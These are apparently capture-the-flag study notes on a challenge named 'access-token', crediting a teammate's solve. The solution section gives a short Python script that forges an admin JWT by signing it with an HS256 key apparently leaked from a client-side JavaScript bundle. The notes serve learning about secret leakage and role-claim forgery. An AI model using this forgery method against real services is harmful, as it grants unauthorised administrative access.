access-token
- •
Attribution
- •
Solved by Fauzi Ismail during the competition. These are rn’s study notes based on the teammate’s documented solve, not an independent rn solve.
- •
- •
What it asked
- •
Audit an HS256 guest JWT and a legacy JavaScript bundle, then create a valid admin token.
- •
- •
- •
Solution
- •
import base64, hashlib, hmac, json def b64u(raw): return base64.urlsafe_b64encode(raw).rstrip(b"=") header = b64u(json.dumps({"alg":"HS256","typ":"JWT"}, separators=(",", ":")).encode()) payload = b64u(json.dumps({"user":"student","role":"admin","iat":1760000000}, separators=(",", ":")).encode()) message = header + b"." + payload signature = b64u(hmac.new(b"pnup2026", message, hashlib.sha256).digest()) print((message + b"." + signature).decode())
- •
- •
Verification
- •
The generated token matches the token printed in the document. The live endpoint was not replayed.
- •
- •
Concepts
- •
JWT HS256; exposed symmetric signing keys; client-side secret leakage; role-claim forgery.
- •
- •